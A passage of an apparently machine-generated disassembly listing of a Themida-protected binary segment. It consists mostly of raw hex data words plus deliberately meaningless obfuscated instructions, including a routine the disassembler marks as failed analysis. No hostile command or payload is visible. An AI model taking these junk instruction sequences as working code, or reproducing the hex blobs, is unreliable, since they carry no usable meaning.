6282079h, 21AD8D89h dd 85C70628h, 628113Dh, 0 ; --------------------------------------------------------------------------- jmp loc_59D238 ; --------------------------------------------------------------------------- db 13h, 0C3h, 9Ah ; --------------------------------------------------------------------------- cmp [ebx], dl add eax, 77FE1935h adc bl, [eax-4EFBD37Fh] xchg eax, edx jno short loc_59D287 loc_59D238: ; CODE XREF: Themida_:0059D220j push dword ptr [ebp+6282B59h] sub [ebp+62820B1h], ecx call dword ptr [ebp+62814D9h] and eax, 573735D6h mov edx, [ebp+6280CDDh] push 0 call dword ptr [ebp+6280465h] mov eax, eax jmp short loc_59D29E ; --------------------------------------------------------------------------- dw 50A7h dd 744458E0h, 8B1270FDh, 0A2B0DCD1h, 6505C374h, 0BD4EBBACh dd 0DDB934B9h, 11E19036h, 0EAAA3B07h db 0BAh, 0Ch, 0A0h ; --------------------------------------------------------------------------- loc_59D287: ; CODE XREF: Themida_:0059D236j pushf out dx, al sbb dl, dh xor dh, [ebp-5E42DCEh] dec ebx xchg eax, ecx sti call far ptr 0E2FFh:921F1C00h loopne near ptr loc_59D2D4+3 ; --------------------------------------------------------------------------- db 1Ch ; --------------------------------------------------------------------------- loc_59D29E: ; CODE XREF: Themida_:0059D260j call near ptr loc_59D2A6+2 cmpsb cmp ah, dl loc_59D2A6: ; CODE XREF: Themida_:loc_59D29Ep lea edx, [edx-0E6274A0h] xor ch, [eax] push es call near ptr sub_59D2C8 ; --------------------------------------------------------------------------- dd 0AB8EA803h, 42E6437Eh, 778FBABFh, 66D5BAEDh, 4CE7EB0Eh ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_59D2C8 proc far ; CODE XREF: Themida_:0059D2AFp movzx esi, cx pop eax popa pop ecx mov edx, [ebp+6280C29h] loc_59D2D4: ; CODE XREF: Themida_:0059D29Bj add ecx, 6CAFh mov edx, 67F4081Ah push 0 pusha mov ebx, [ebp+6281729h] popa pop eax mov [ebp+6281371h], ecx loc_59D2F3: ; CODE XREF: sub_59D2C8+C0j push dword ptr [eax+ecx] and esi, [ebp+62811C9h] pop edi jmp loc_59D316 ; --------------------------------------------------------------------------- sbb dl, dh or eax, 0F64A5071h sbb eax, 0A0BE7153h sahf xchg eax, ebp mov ecx, 0CAD1719Ch retf ; --------------------------------------------------------------------------- loc_59D316: ; CODE XREF: sub_59D2C8+35j xor edi, 0F95D225h mov dx, 96B2h xor edi, 1A95BA32h mov ebx, ecx sub edi, 1B4E6DE2h jmp loc_59D338 ; --------------------------------------------------------------------------- sbb eax, 49F8ED7Dh loc_59D338: ; CODE XREF: sub_59D2C8+66j push edi push edi mov edx, [ebp+628230Dh] pop edx pop dword ptr [ecx+eax] jg loc_59D352 push edx jnb $+6 pop edx loc_59D352: ; CODE XREF: sub_59D2C8+7Cj mov si, 2AC3h sub eax, 3 mov ebx, [ebp+6282C09h] dec eax push edi mov dh, 0E6h pop ebx cmp eax, 0FFFF9440h jnz loc_59D383 mov [ebp+6281145h], ebx jmp loc_59D396 ; --------------------------------------------------------------------------- db 9Eh dd 49742016h ; --------------------------------------------------------------------------- push 8 push ecx loc_59D383: ; CODE XREF: sub_59D2C8+A2j and dx, 47BBh jmp loc_59D2F3 ; --------------------------------------------------------------------------- db 71h, 0D9h, 5 dd 4DDA7953h db 0E2h, 56h ; --------------------------------------------------------------------------- loc_59D396: ; CODE XREF: sub_59D2C8+AEj sub eax, 4E618CDFh mov dh, 8Ch xor al, 53h xchg eax, ebp sal edi, 1 hlt sub_59D2C8 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 3Ch dd 34D010E0h, 0A06E10C8h, 0F035348Ch, 5FF0F7D9h, 812489BDh dd 0AA932A4h, 0DF93BF54h, 0B641628Ch, 95D4348Ch, 3C34F7D2h dd 343110F8h, 0A39E10C8h, 0F34D348Ch, 9E6FF7DAh, 0B3D53BC1h dd 34A9348Ch, 62E71E4Dh, 0FCD7B79Fh, 0B5331C8Dh, 8193DF9h dd 0B3652049h, 0E5BF408Ch, 0D93BFDFh, 0B5A9308Fh, 0B745B105h dd 28E732A4h, 0B31F91D2h, 0EDC1E773h, 0A188890Fh, 0C1A632A4h dd 0D00649Bh, 0B5A9308Fh, 0B745B105h, 28E732A4h, 0B31F96C1h dd 0EDC1E773h, 2BFF9E36h, 0E4A65EBDh, 0B5533764h, 76F0148Ch dd 9198BDD5h, 912EB588h, 0B5352C88h, 76CB758Ch, 0B13CAD40h dd 0EC33BD68h, 3E551C8Eh, 4024BD4Ch, 0D3D21C82h, 0C0CEC00h dd 0B19D9E3Dh, 0B664B083h, 0E2B348Ch, 7A27CE24h, 0C1F9B261h dd 0ABFC890Fh, 0BAD432A4h, 0B56A3208h, 0B6D7DD8Ch, 0B6F348Ch dd 0B74D138Ch, 0B5A5BE83h, 25C348Ch, 652CB972h, 0DFD21F05h dd 0B682648Ch, 9535348Ch, 3CC2F7D4h, 344910C8h, 0A1A210C8h dd 0F553348Ch, 0BA59F7DCh, 652BFB3Bh, 5D3834E6h, 0B535348Fh dd 0EF596EACh, 0B1696005h, 0B182700Dh, 0B5533498h, 936A66CEh dd 2DAB8DEAh, 3165F409h, 0B5353471h, 5DCB34E6h, 0B54D348Fh dd 0EC656DACh, 0B1777805h, 0B18D700Dh, 0B5D4349Bh, 0FA965CDh dd 0BAE2988Dh, 8D1BE633h, 4ECC52DBh, 0B5EBB183h, 0B539348Ch dd 0B5AADCDAh, 0EBF4348Ch, 0C1E36A4Fh, 0F1B430A8h, 0B58E30A8h dd 0E30B348Ch, 0B4F59B4Fh, 9D7D8D11h, 34CF6D8Ah, 0B7D630F4h dd 0B60EB083h, 0B55F348Ch, 0B599DCDBh, 0EA6D348Ch, 0C92F6B4Fh dd 0F1D230A8h, 0B5BC30A8h, 0E293348Ch, 0D30F324Fh, 0D5A90C0Dh dd 0B5EDB183h, 0B527348Ch, 0B5A5DCDEh, 0EF73348Ch, 0E1206E4Fh dd 0F15530A8h, 0B57C30A8h, 0E777348Ch, 57BD54Fh, 0B54D2664h dd 9C7B1E8Ch, 27B5E771h, 31CAA4Ch, 2F8AEC3h, 0BA174FE4h dd 0B5353205h, 0B5113B8Ch, 0EC4D348Ch, 5DA44C0Ch, 0B578B183h dd 2A13348Ch, 0D391CA6Fh, 0B56C4C0Dh, 0AFB03B27h, 349A348Ch dd 0CAC6536Fh, 0B772DDDFh, 0BFBA348Ch, 42A9348Ch, 746CC1Ch dd 82CA196Bh, 0B4358A23h, 2011728Dh, 0B3652C15h, 3C76B101h dd 0B53932A7h, 0B5AADCDFh, 0EEF4348Ch, 0E9E36F4Fh, 0F1B430A8h dd 0B58730A8h, 0E60E348Ch, 0BEAD8F4Fh, 291A5AB7h, 4A0F06ADh dd 0EC6B525Ch, 0BAAAB17Bh, 0B5377708h, 0E69A5E8Ch, 0B54D3764h dd 76FD148Ch, 910FBDD7h, 91EDB588h, 0B5D42888h, 7639778Ch dd 79F342FFh, 23D6C3CDh, 4CC652E8h, 0A15BA107h, 8DD232A4h dd 0B7AB09EAh, 0B58AB183h, 0B500348Ch, 0B536DCDEh, 0EFBA348Ch dd 0E1C46E4Fh, 0F12730A8h, 0B54830A8h, 0E7EB348Ch, 93350B4Fh dd 716D6087h, 0ACB817FBh, 349C1CA3h, 882B32F4h, 31A94ED3h dd 0B553369Eh, 5DFC34E6h, 0B5D4348Fh, 0E8A969ACh, 0B1115805h dd 0B1BE700Dh, 0B54D3498h, 0C76561C9h, 0B555B483h, 3822348Ch dd 0B3FC2631h, 2952B5EAh, 5B03BECh, 0DF9A348Ch, 0B6A5658Ch dd 95A6348Ch, 3C0AF7D5h, 34AD10C0h, 0A9D010C8h, 0F46A348Ch dd 6B99F7DDh, 0FE7963ECh, 0D59B7DD4h, 0C9E1DE0Dh, 0A356A4Bh dd 35C8B9D9h, 0BA3C36F4h, 0B56A4209h, 0E4355E8Ch, 0B59A3764h dd 7614148Ch, 91EABDD5h, 9117B588h, 0B5A92088h, 7685758Ch dd 3C00838Bh, 9D1FCD39h, 0CD1B528Ah, 0BA8D348Ah, 0B5A67209h dd 0A7BA658Ch, 1FA9348Ch, 79EF0F0h, 0D6A8A043h, 0CC6AD51Ah dd 5E6A1E02h, 0E2A46E1Dh, 0DFA6348Dh, 0B6BB628Ch, 95A9348Ch dd 3C8AF7D2h, 346E10F8h, 0AF3110C8h, 0F39A348Ch, 278CF7DAh dd 7028AE2Dh, 74D6BD90h, 0BAF1C82h, 0CBD5358Ch, 347ECE37h dd 65B0B991h, 0DF9C1F05h, 0B6A5618Ch, 95A6348Ch, 3C0EF7D1h dd 34AD10E0h, 0AED010C8h, 0F06A348Ch, 0F762F7D9h, 89E42E8Ah dd 65B2177Dh, 34B9ED0Dh, 75D65BEEh, 0B507B083h, 3521348Ch dd 3065DCB4h, 0B53534BAh, 0A693B905h, 0CDCD32A4h, 30A94789h dd 0B55334AAh, 0A48481A5h, 0BD3C32A4h, 0BB6A348Ch, 0F8F2D2E2h dd 0B4BB4681h, 9D521519h, 0CD266D8Ah, 315C678Bh, 0B5A93422h dd 34B2B83Dh, 0BA6FBBB4h, 0B5355709h, 354DBF8Ch, 0BA2532F4h dd 0B5A66309h, 0E6535E8Ch, 0B5A93764h, 768F148Ch, 9136BDD7h dd 9171B588h, 0B59A2388h, 761E778Ch, 0BDC5A84Fh, 0B5532065h dd 8813B18Ch, 45F01CB7h, 0EE364089h, 6FA296E9h, 0D07C1837h dd 0CDCC5283h, 0BA83CB87h, 0B5532709h, 7622548Ch, 5CB5FE07h dd 0B56A34CAh, 0D8B83DDAh, 0EA9C1CA1h, 32DF4A7h, 30A95496h dd 0B553348Ch, 0D4C855ECh, 5C84F10Ch, 0B56A34A7h, 5D6034E6h dd 0B59A348Fh, 0E88E69ACh, 0B1825805h, 0B177700Dh, 0B5A93495h dd 911761C9h, 8728BFF9h, 91168D05h, 0B4224992h, 254D348Ch dd 0B5AABE83h, 3D5C348Ch, 0B5A9348Ah, 84DB66DCh, 0D53A6CD6h dd 0B5353B64h, 339E1F8Ch, 3DB88CA6h, 0ABD4EC79h, 0F33831EDh dd 0E5FB64D7h, 0EFE53BDEh, 5D5B3BD4h, 0B5353483h, 0A973E411h dd 83F1001Ah, 31331FFDh, 0EA1FD1E6h, 25C86CD6h, 0F5858901h dd 38E732A1h, 0B3187157h, 0D3CF1734h, 48C837FBh, 9EA01C9Ah dd 8C0BF543h, 37CBD535h, 91347ECEh, 565B0B9h, 8CDF9C1Fh dd 8CB6A561h, 0D195A634h, 0F305E983h, 6A58A4h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h dd 0BA0E07C3h, 3EB4B7E8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 9EC35545h, 8B929CC4h, 0FC00BFBh, 7084h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1804h dd 0C3534300h, 65F12677h, 0D8B70FD0h, 4F6EB58Dh, 3B80628h dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 14042444h, 47000000h, 0FF1CC357h, 55006AE6h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 6786CB5Ah dd 0B7D2BC70h, 6A40CAh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 8B9B93C3h, 9D8BC7F8h, 62816DDh dd 0C79BD01h, 0C08B0628h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 17h, 4AC35545h, 83486519h, 280149BDh, 9750006h dd 14C5BD83h, 74000628h, 8B535019h, 403B8C0h, 85890000h dd 6282E55h, 0A5C59D8Dh, 0D3FF062Ah, 0BD83585Bh, 62814C5h dd 50177400h, 403B853h, 85890000h, 6282E55h, 0A2669D8Dh dd 0D3FF062Ah, 6A585Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 13CC38C3h, 360E4BF9h, 8B169E43h dd 28148995h, 6AC08B06h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 0ED6AC356h, 8A3D8DEFh dd 0B32061EEh, 0B4AF96E3h, 0EA9C676Ah, 0DA5F015Bh, 32040132h dd 6DC15E11h, 36257DB8h, 36A445B0h, 32400127h, 0C4E35676h dd 3A7508Ch, 0B6070599h, 320400BEh, 31BFBC18h, 38E80719h dd 47800131h, 0B83EC183h, 0F709B9Ah, 67AD8278h, 320E292Fh dd 320A853Eh, 0BF8B0131h, 34291884h, 328163D8h, 0E1FF0E31h dd 62FE8AA1h, 5880F4BBh, 31E05331h, 12040131h, 0BB58C26Bh dd 0B3052565h, 27842575h, 70400131h, 4BE4C263h, 321004D8h dd 9E058E31h, 330BF092h, 0B9FC257Dh, 545359C8h, 0B1DBD7BAh dd 0B04F2DF1h, 32200132h, 0B9C7B63Eh, 0AC94BE39h, 0B9627916h dd 0AF89FD79h, 34291598h, 4B98057h, 0F0C40ECEh dd 31200131h, 1A3748A4h, 321BE837h, 1AE10131h, 0AC21988Fh dd 71727A47h, 0EE47BEF4h, 6BD9A55Fh, 3BE18292h, 321C8F3Eh dd 0BD070131h, 32040137h, 1FDBB438h, 83BF0719h, 0B2AB2ED1h dd 0B74FE808h, 3220018Ah, 739BF9BAh, 8BBD8830h, 31022923h dd 3208E9F9h, 0D6780131h, 0FDB10BF4h, 0C5CA332Ch, 3227E851h dd 0CDF80131h, 71DD9849h, 0F3812A76h, 53042928h, 37C0826Ah dd 0DAD7015Bh, 32400132h, 6DE35E11h, 36347DB8h, 362C45B0h dd 32040125h, 5AC15676h, 11B4BCB8h, 0B010719h, 0B9034AA1h dd 3279843Eh, 327A0131h, 320BE967h, 6C240131h, 468B5FF2h dd 76800515h, 32950515h, 64060131h, 0B9B2C6F2h, 5C9D8CEBh dd 0B20E297Eh, 31BCC8EBh, 58020131h, 31E95731h, 12800131h dd 0BB1EC26Fh, 0B3242545h, 24142575h, 74080131h, 7AB5C267h dd 0AFBF2A48h, 0CD072920h, 0F3588D0h, 5346293Dh, 0DA77015Bh dd 32100132h, 6DCB5E11h, 36207DB8h, 362645B0h, 32010129h dd 0D2435676h, 1A762447h, 2A259C18h, 8F9D0719h, 342546ACh dd 7BA58CBCh, 46BA071Ch, 10093B2h, 1A87CCB4h, 0F38F2A37h dd 0B32003D8h, 0B4AF96E3h, 0EA9C676Ah, 0DA5F015Bh, 32040132h dd 6DC15E11h, 0E9837DB8h, 8BA4F305h, 53006AC0h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1504h, 0C3534300h, 6ABFF9h, 3E855h dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h dd 9AAE95C3h, 814D20C5h, 17CD9FD2h, 8DC38B6Eh, 2D4AE88Dh dd 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0BE66AFEAh, 8D897F0Eh, 6280715h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0B2C35242h, 0B283F79Eh dd 0BD85C763h, 98062821h, 6A00006Bh, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8217C353h dd 0AE520D2Dh, 0B4A38119h, 2B60CFB2h, 280F899Dh, 0BF0F6006h dd 0C76161F6h, 28113D85h, 6, 66F78B00h, 0FFE840BFh, 281D45B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h dd 0C3534300h, 95FFE2D2h, 62814D9h, 7E8h, 0E938B000h, 3B7E53F4h dd 2FDBD8Bh, 805B0628h, 6A02E0h, 46595FFh, 0C08B0628h dd 24F668EBh, 0DACCB176h, 62DEDE62h, 0B766ACFAh, 581F22F2h dd 0FF6DA5EDh, 5ADC017h, 68A92F2Fh, 0BDB55F0Dh, 0AA79032Eh dd 40F03970h, 3DA402FAh, 5184AA75h, 17834D35h, 0AE18CBE4h dd 0E4CEC327h, 395576D0h, 0DD8B7E23h, 42176140h, 0ED86A146h dd 6A558153h, 9776028Ch, 0E567E14Eh, 2C5D96E7h, 5CB1E640h dd 0BBC015E6h, 0AE87EF2h, 6F000000h, 0FA5B4B54h, 0CAE2798Bh dd 5FD38BBEh, 8F9858Bh, 0C7810628h, 6430h, 2D59858Bh, 0DB330628h dd 0CE8h, 0C9EB900h, 0F839A844h, 0E56CC8F5h, 0B59D895Eh dd 5A062821h, 313B34FFh, 282A7585h, 81F55E06h, 3025DDC6h dd 0F681F977h, 29162A9Ah, 1EA98589h, 0EE810628h, 31A99552h dd 698BBA66h, 0EDBE6056h, 0F3D3A82h, 8F61DBB7h, 0D8801F04h dd 5870F05h, 66000000h, 2D8AD081h, 8979EB81h, 8D896B39h dd 62820EDh, 8975C381h, 8A606B39h, 61DF8BD0h, 9C98FB81h dd 850FFFFFh, 13h, 2311958Bh, 20E90628h, 20000000h, 916E136Bh dd 0B045AD00h, 0FF7EE9D4h, 1538FFFFh, 0B674A7A2h, 73577068h dd 13ACDDFFh, 0DEE187D9h, 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh dd 6398525Ch, 0A9A90B33h, 0F1982633h, 0EF5E265Ah, 33B02B16h dd 0FFB44E60h, 0F867A5E4h, 0A0B0323Eh, 3CC0A3BEh, 79672018h dd 0DA8DA3BAh, 0D71B201Bh, 33B01522h, 831D2933h, 0C0982633h dd 8BD410B6h, 0D6157635h, 0AFB56A1Bh, 0C10DD963h, 839E0E3Dh dd 35982664h, 1F152359h, 4BB56A0Bh, 8E1DAB63h, 39E0B7Fh dd 0A741B3CCh, 1493201Bh, 6AA1A23Ch, 0B0152633h, 9CB56A0Bh dd 4DAACE63h, 0F6D82633h, 1FA6A3BEh, 24C8201Eh, 0F9D41EB6h dd 0FF677635h, 33B02BC6h, 1794E2B0h, 60D41EB6h, 23157635h dd 55B56A1Bh, 0BC0DD963h, 3D9E0E3Dh, 6A982651h, 6474AD66h dd 11CE7464h, 8DAB2E4Eh, 0A69824DAh, 0D3DF6633h, 2C97260Ch dd 2B67D9C6h, 1713EF00h, 35B2CF3Bh, 48AB2633h, 0A71831B9h dd 0E868AD03h, 5AAD63h, 0A9982C88h, 0D49BCF33h, 896F2633h dd 3566A57Dh, 656CA13Ch, 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h dd 5667D9FDh, 8EC6E7B8h, 0A8517F6Ch, 88152637h, 9CB56A15h dd 0C3ABBEh, 9320201Eh, 78000000h, 271E7FCh, 0C8D00731h dd 4904C783h, 0FFF2850Fh, 0B58DFFFFh, 62D4D5Bh, 4D7A8D8Dh dd 0CF2B062Dh, 8B05E983h, 9E8C8h, 1A1F0000h, 52A2AE6Dh dd 809CC33Dh, 0E958CEDDh, 5, 507282FAh, 0A4C08185h, 89000066h dd 2801FDB5h, 4C80BB06h, 0EB8178DAh, 78DA3302h, 0BE8h dd 0E8B57000h, 4B8B3C58h, 2F62A5A0h, 0EE8h, 76E49400h dd 26B26B71h, 4C47CD46h, 56CE1B46h, 0FF5E5F59h, 5AF38B30h dd 1F45BD89h, 0C2810628h, 0FDE3272h, 1D218D8Bh, 0C2810628h dd 4C786E21h, 0D428F281h, 8B6052A6h, 0C820FF0h, 0E9000000h dd 7, 0F4E938B0h, 613B7E53h, 0BD9D8952h, 8F062814h, 96BE6600h dd 4E883E1h, 1EB81h, 850F0000h, 0FFFFFFABh, 21D99529h dd 8D8D0628h, 62D4F02h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 16h, 23C35141h, 89F5AE7Bh, 280E35BDh, 158D8906h dd 89062807h, 280F6DBDh, 0BD85C706h, 0EC062821h, 66000060h dd 0C7F166B8h, 28113D85h, 6, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0F3695375h dd 8984709Fh, 2826D58Dh, 15B5FF06h, 6A062811h, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h dd 0BC98C352h, 29759D2Bh, 95FF0628h, 62814D9h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 19h, 0CFC35040h, 2E7F4525h dd 61CE80ADh, 95FF006Ah, 6280465h, 79EBC08Bh, 0A3D57924h dd 48402EA8h, 0E777B9BEh, 8BEAA558h, 38E55E09h, 6EEA86C4h dd 0FEF9EC0Ah, 457C6157h, 71097460h, 0C4E3C214h, 0A3F5D5C3h dd 93501008h, 1EFD6233h, 0B6CA61Ah, 0DCD24DCAh, 8E85AB8Bh dd 0F69C487Eh, 0A243DA4Fh, 3EFBB595h, 1C57533Bh, 5AF4EAC4h dd 706786CBh, 0D2B5D2BCh, 47EFE794h, 0D10F5B5Eh, 13E4DF58h dd 0DFE11631h, 0F7935437h, 50AA59DEh, 0E439BC6Dh, 0B0E985h dd 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h, 282DD585h dd 36840F06h, 3B000000h, 28174D85h, 2A840F06h, 3B000000h dd 28105D85h, 1E840F06h, 3B000000h, 28093185h, 12840F06h dd 83000000h, 2817B9BDh, 840F0106h, 5, 5FE9h, 3D08B00h dd 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h, 0F8C2h dd 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h, 840FC985h dd 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h, 0FFDC850Fh dd 0DE9FFFFh, 8D000000h, 284F6E9Dh, 5B806h, 0E3FF0000h dd 0D00BC361h, 79E9h, 0A597F00h, 6F685332h, 75637472h dd 6F742074h, 61747320h, 70757472h, 18h dup(0) dd 0EEE90000h, 6800000Eh, 62D526Dh, 0FBF41DE9h, 538268FFh dd 13E9062Dh, 68FFFBF4h, 62D550Dh, 0FBF409E9h, 555368FFh dd 0FFE9062Dh, 68FFFBF3h, 62D55EFh, 0FBF3F5E9h, 56B468FFh dd 0EBE9062Dh, 68FFFBF3h, 62D5A59h, 0FBF3E1E9h, 5D2168FFh dd 0D7E9062Dh, 68FFFBF3h, 62D5E15h, 0FBF3CDE9h, 8CDE5BFFh dd 0A8EE71A8h, 0BF0F8DC4h, 0DA22A4DBh, 0F240BFF6h, 2F54590Eh dd 477E62B0h, 649B7FC3h, 7EB599E3h, 0D6CEB2FEh, 0B4343788h dd 71447CFBh, 0A3EF6FD0h, 0FBC3C0Bh, 0FFEE3F8Bh, 0FB7AD6E5h dd 0F1830D97h, 0B64E9216h, 502E6A48h, 0E56E7DCEh, 268A7AD6h dd 0CEA77248h, 0E4CDEB3Ch, 0E3BE7CFEh, 463B1961h, 7DCE50E2h dd 7CFEE76Eh, 5848268Ah, 0FEE7DC13h, 0E50DE67Ch, 0CE822F8Bh dd 36A4FBh, 0C8450000h, 8D2569EDh, 0A06B411Fh, 0E57F6EBFh dd 177B7AD6h, 82AAFB8Dh, 17CFEF1h, 0C65EA226h, 21857A58h dd 0F12D4489h, 3E177CFEh, 6B5EBA16h, 0E1D3FBCEh, 74000000h dd 0BA3EF6Fh, 900EBD3Ch, 8BD35540h, 9CED6F01h, 7AD6E551h dd 776745A9h, 5DA32601h, 70BC3C7Fh, 38762D8h, 0DBB927BFh dd 3ACC1898h, 0AAE73284h, 568CDF4h, 0C1672DCAh, 0CB4C3775h dd 9D7BE981h, 28A88361h, 0ED45FEDCh, 397AD6CFh, 52896DB9h dd 8CEE86D2h, 556E8C1h, 7CFED473h, 5B9FE585h, 8F56DD4Dh dd 0FA06D9D0h, 1AA42E38h, 85D65836h, 7CFE7F66h, 0FF4FCD92h dd 0F6C19775h, 53098B1Dh, 0DF7B345h, 641DFBB0h, 7AD49353h dd 4621B317h, 5E9579C7h, 0E2ED91DFh, 0ED0876BCh, 0C8FC21Dh dd 85020000h, 95184F33h, 0B6346B4Fh, 0C94B8266h, 0E7669D81h dd 0AD00B599h, 1F0351D0h, 3C2064E8h, 563A8405h, 6F539F1Fh dd 95D82977h, 0E57CFBB7h, 0F06F7112h, 787BEA2h, 0CD4E29BBh dd 9E69A583h, 0A63811DCh, 0FEF1D755h, 3D01A17Ch, 48A3AFCAh dd 6EB34BD5h, 7CFEF07Bh, 0CB63B331h, 9C3478FCh, 6C044ACDh dd 0E60E5FFEh, 87AF8863h, 0CE6ACD29h, 21944AFBh, 5C48ADB9h dd 0E76E603Eh, 0F000000h, 0BF42EF6Fh, 8857EF79h, 0DE23BB09h dd 7AD6E144h, 6E39752Bh, 0BAFF84B3h, 3C025E96h, 72F046D9h dd 921C8A22h, 0A5F171B4h, 0BE0A8AC1h, 20F9C426h, 7CBB3D8Eh dd 0EDC87CFEh, 4F44226Ch, 0A72907EBh, 0FE7B1756h, 21FF637Ch dd 15A7804Bh, 0D4D9E0C4h, 28DD937Ah, 9E7D22D6h, 0E77FC548h dd 1C11EF79h, 58FD357h, 8F199873h, 9357A765h, 0E37B0504h dd 0BF098A75h, 0F1DBB927h, 65499716h, 0E989D187h, 0A73C92C3h dd 7553DD25h, 0C165B332h, 876A418h, 7AA0FBCBh, 0ED00000Bh dd 33A1E70h, 1F563A80h, 366D51A1h, 51886CB4h, 0EBA084D2h dd 0F03EBDC2h, 0D51D50Ch, 2771F229h, 408C0C43h, 0C516645Ch dd 7CFBB6A6h, 6F5EFFD2h, 0E0BEA2F0h, 5A388605h, 6CEA9717h dd 8C16841Ch, 6CEFCAA8h, 63FB43C5h, 65D36BF5h, 0EF6FB087h dd 9D5B11A3h, 0E1E1CF76h, 0FAC9B997h, 804A2E7Ah, 0F94ADCB5h dd 7CFE6EE7h, 280395F9h, 56C45CA8h, 672C7790h, 13F12307h dd 2F8BDE23h, 0D8B17CFEh, 0C34621B0h, 9977E57Dh, 0CDB582DEh dd 7F7FBh, 0E3980000h, 7CEh, 3811DC3Eh, 149CBA6h, 80E83923h dd 0F87CFEFAh, 0AD2DFC94h, 1D9F7D61h, 0FEFAA1CCh, 9775D97Ch dd 0F088D454h, 0BAD96EABh, 0E50DC21Bh, 53378303h, 0B8509C1Ch dd 0BAA77D73h, 42C8517h, 7458A424h, 7B80E096h, 0A7AC90BCh dd 7553DD25h, 0CE66B232h, 455D9B89h, 6F974EE8h, 3E8407E2h dd 30EBFCA6h, 0E74E31E3h, 0BC3C7F5Dh, 0D5558C70h, 0C48FF189h dd 2AC2068Ah, 4FA032BCh, 11922EB5h, 0C26B4FB3h, 0C3D8A302h dd 7C7375F9h, 9224AE09h, 6B3B0B41h, 1FC92D0Fh, 2070F2CDh dd 6B059CCFh, 0EE78DC03h, 510AE856h, 0DD7BE5EDh, 58EAC38Eh dd 3002D507h, 2677E32Bh, 272002C7h, 7E1B63E5h, 96F8901Ah dd 0F60F2CBh, 210B6D80h, 0F7D264C8h, 0BE992B77h, 0DB17F53Bh dd 0F6A122FDh, 0C19F2977h, 0A676FE7Eh, 597A16AFh, 638024AEh dd 94604639h, 9EF69C4h, 0E5620000h, 0F578AF93h, 1694CBAFh dd 29ABE2C6h, 47C6FDE1h, 4D6015F9h, 7F63B130h, 9C80C448h dd 0B69AE465h, 0CFB3FF7Fh, 353889D7h, 457CFBB0h, 0EDC8D172h dd 1B89216Dh, 2E7AFA3Dh, 2345638Ah, 7DD8A8FCh, 9A9h, 694D9F1Ch dd 8569AF32h, 9C80D04Eh, 0B79BE365h, 0CFB30180h, 6FEE931Ah dd 82063D21h, 0A2235A3Eh, 0BD3D7458h, 47958D71h, 0FBB0F7F6h dd 8F30037Ch, 0BA3EF6Fh, 8333BD3Ch, 0E1C1B978h, 0A0492DB7h dd 0DDB68124h, 54D2FA4Bh, 82E67CFEh, 7575B7D8h, 5722BD43h dd 619BEC7Eh, 82BB18E0h, 0EFDA28A7h, 5247256Dh, 29F456EEh dd 226DBE50h, 26B2F3C3h, 0F8AE30C2h, 0C2DC76E0h, 95D8B6BEh dd 7D70C115h, 7DAEEF38h, 66AA2E19h, 41C1F8DCh, 3EC81494h dd 5D225D9Ah, 97F2C2D0h, 90Dh, 0CDB10380h, 0E9CD1396h dd 0E434B2h, 1BFF47C9h, 331765E4h, 0D3522F7Eh, 0E66AA185h dd 687BEA2h, 21A1D8BCh, 0ABF9F1D5h, 0FBB0135Ah, 0F394677Ch dd 0BA3EF6Fh, 35BB3Ch, 0E55E3ADEh, 841C6AE9h, 70028C16h dd 634E9DEEh, 46AA7AD6h, 0CC4E2C68h, 0D663707Bh, 4624887Ah dd 0D6633E8Dh, 798E597Ah, 74E43E16h, 881AA48Eh, 0FB967037h dd 4B9C087Ch, 7CFB9620h, 96DB1263h, 0BB1F7CFBh, 9E30BA1Eh dd 169445C3h, 745E3CC6h, 4C9617F2h, 256846B4h, 45C759A5h dd 0FB96F9F4h, 0BF9D017Ch, 80CC4C83h, 0D01B6CEEh, 287CFB96h dd 0AC64FEC4h, 886D1058h, 6CEBBAAAh, 36B7861Eh, 0FBB948ECh dd 0AA7A0250h, 8484Fh, 0EC3EBB00h, 84ED108h, 1F6FED24h dd 3A82043Bh, 52A01F56h, 8FF4B96Eh, 0A7DEC210h, 0C4FBDF23h dd 0DE15F943h, 362E125Eh, 0B35497E8h, 0D1A47CFBh, 0A3EF6F30h dd 3DB05B11h, 2A2E32AEh, 7751AE19h, 0B997212Eh, 0F47853C9h dd 0E981D14Fh, 0EB59F17Bh, 0FE4ACA0Dh, 668EE766h, 0D2B60282h dd 0F63CC723h, 4D03C01h, 0EFCA0000h, 1B892171h, 46C8663Dh dd 0D6E5F6F5h, 0C09E027Ah, 0ED3E1FEAh, 7AD6E5FEh, 7A0C96FAh dd 0FBB58629h, 496FA7Ch, 795DA929h, 7109E2AFh, 97D98A2Ch dd 3EC0B005h, 4F59FEEDh, 0B896FA05h, 0B234BDE5h, 4F590A61h dd 2C0A6E05h, 5CC81571h, 36B79282h, 0FBE654ECh, 